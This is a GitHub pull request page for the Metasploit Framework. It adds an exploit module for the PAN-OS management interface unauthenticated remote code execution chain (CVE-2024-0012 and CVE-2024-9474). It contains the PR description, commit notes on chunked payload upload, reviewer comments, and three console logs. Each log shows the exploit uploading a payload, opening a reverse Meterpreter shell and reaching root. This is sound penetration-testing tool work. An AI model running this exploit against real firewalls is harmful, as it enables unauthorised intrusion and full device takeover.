Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit module for PAN-OS management interface unauth RCE (CVE-2024-0012 + CVE-2024-9474) #19663

Merged
merged 14 commits into from
Dec 30, 2024

Conversation

sfewer-r7
Copy link
Contributor

This pull request adds an exploit module for the recent PAN-OS management interface unauthenticated RCE exploit chain (CVE-2024-0012 + CVE-2024-9474), based upon the technical analysis published by watchTowr.

The exploit module has been tested against PAN-OS 10.2.8 and 11.1.4.

Example

msf6 exploit(linux/http/panos_management_unauth_rce) > check
[+] 192.168.86.100:443 - The target is vulnerable.
msf6 exploit(linux/http/panos_management_unauth_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading payload chunk 1 of 7...
[*] Uploading payload chunk 2 of 7...
[*] Uploading payload chunk 3 of 7...
[*] Uploading payload chunk 4 of 7...
[*] Uploading payload chunk 5 of 7...
[*] Uploading payload chunk 6 of 7...
[*] Uploading payload chunk 7 of 7...
[*] Amalgamating payload chunks...
[*] Executing payload...
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:52828) at 2024-11-19 16:09:19 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.86.100
OS           : Red Hat  (Linux 4.18.0-240.1.1.28.pan.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

sfewer-r7 and others added 8 commits November 21, 2024 16:08
…the framework will pick, CURL, will work great.
…e for us. Mention I tested the exploit with cmd/linux/http/x64/meterpreter_reverse_tcp
…n fetch based payload is used, we add a new option WRITABLE_DIR to account for this. Update the documentation to reflect the change.
…is out Brendan), we now supply a suitable BadChars and let the framewrk encode the framework paylaod. We rename the variable payload to bootstrap_payload as this was colliding with the frameworks payload variable which was not the intent.
…e teh vulnerability, if that doesnt work. But still return Unknown if the vulnerability fails the second time we leverage it.
…ailable space a chunk can take, relative to the size of teh command needed to write the chunk to disk. We also rework the logic to ensure the files are sequential. Finally as the size of a chunk may be less the more chunks we write, we impose a max Payload Space valuecalculated to be 5670 chars.
@sfewer-r7
Copy link
Contributor Author

Note, commit de599a4 fixes a bug in how the individual chunk files are ensured to be sequential, and introduces a max payload size of 5670 chars, as we now need to decrement the chunk size by 1 character every 9 chunks.

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the great module @sfewer-r7!

I had one suggestion with regards to how you were extracting the PHPSESSID from the response. There was nothing wrong with what you were doing but we do general encourage people to use the cookie_jar functionality when possible.

Other than that everything looks great and testing was as expected.

msf6 exploit(linux/http/panos_management_unauth_rce) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.1.65:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading payload chunk 1 of 7...
[*] Uploading payload chunk 2 of 7...
[*] Uploading payload chunk 3 of 7...
[*] Uploading payload chunk 4 of 7...
[*] Uploading payload chunk 5 of 7...
[*] Uploading payload chunk 6 of 7...
[*] Uploading payload chunk 7 of 7...
[*] Amalgamating payload chunks...
[*] Executing payload...
[*] Sending stage (3045380 bytes) to 192.168.1.93
[*] Meterpreter session 3 opened (192.168.1.65:4444 -> 192.168.1.93:50204) at 2024-12-09 11:02:49 -0800

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.1.93
OS           : Red Hat  (Linux 4.18.0-240.1.1.28.pan.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

sfewer-r7 and others added 5 commits December 17, 2024 17:26
Co-authored-by: jheysel-r7 <[email protected]>
Co-authored-by: jheysel-r7 <[email protected]>
Co-authored-by: jheysel-r7 <[email protected]>
Co-authored-by: jheysel-r7 <[email protected]>
@sfewer-r7
Copy link
Contributor Author

Thanks @jheysel-r7 for the testing and improvements. I committed your cookie jar improvement in edf8d18.

@jheysel-r7
Copy link
Contributor

Thanks for making those changes @sfewer-r7! Retested and working as expected. Landing now 👍

msf6 exploit(linux/http/panos_management_unauth_rce) > run

[*] Started reverse TCP handler on 192.168.1.65:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading payload chunk 1 of 7...
[*] Uploading payload chunk 2 of 7...
[*] Uploading payload chunk 3 of 7...
[*] Uploading payload chunk 4 of 7...
[*] Uploading payload chunk 5 of 7...
[*] Uploading payload chunk 6 of 7...
[*] Uploading payload chunk 7 of 7...
[*] Amalgamating payload chunks...
[*] Executing payload...
[*] Sending stage (3045380 bytes) to 192.168.1.93
[*] Meterpreter session 1 opened (192.168.1.65:4444 -> 192.168.1.93:33086) at 2024-12-30 10:25:29 -0800


meterpreter >
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.1.93
OS           : Red Hat  (Linux 4.18.0-240.1.1.28.pan.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 30, 2024
@jheysel-r7 jheysel-r7 merged commit e70b6c7 into rapid7:master Dec 30, 2024
38 checks passed
@jheysel-r7
Copy link
Contributor

Release Notes

Adds an exploit module for the recent PAN-OS management interface unauthenticated RCE exploit chain for CVE-2024-0012 + CVE-2024-9474

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Status: Done
Development

Successfully merging this pull request may close these issues.

4 participants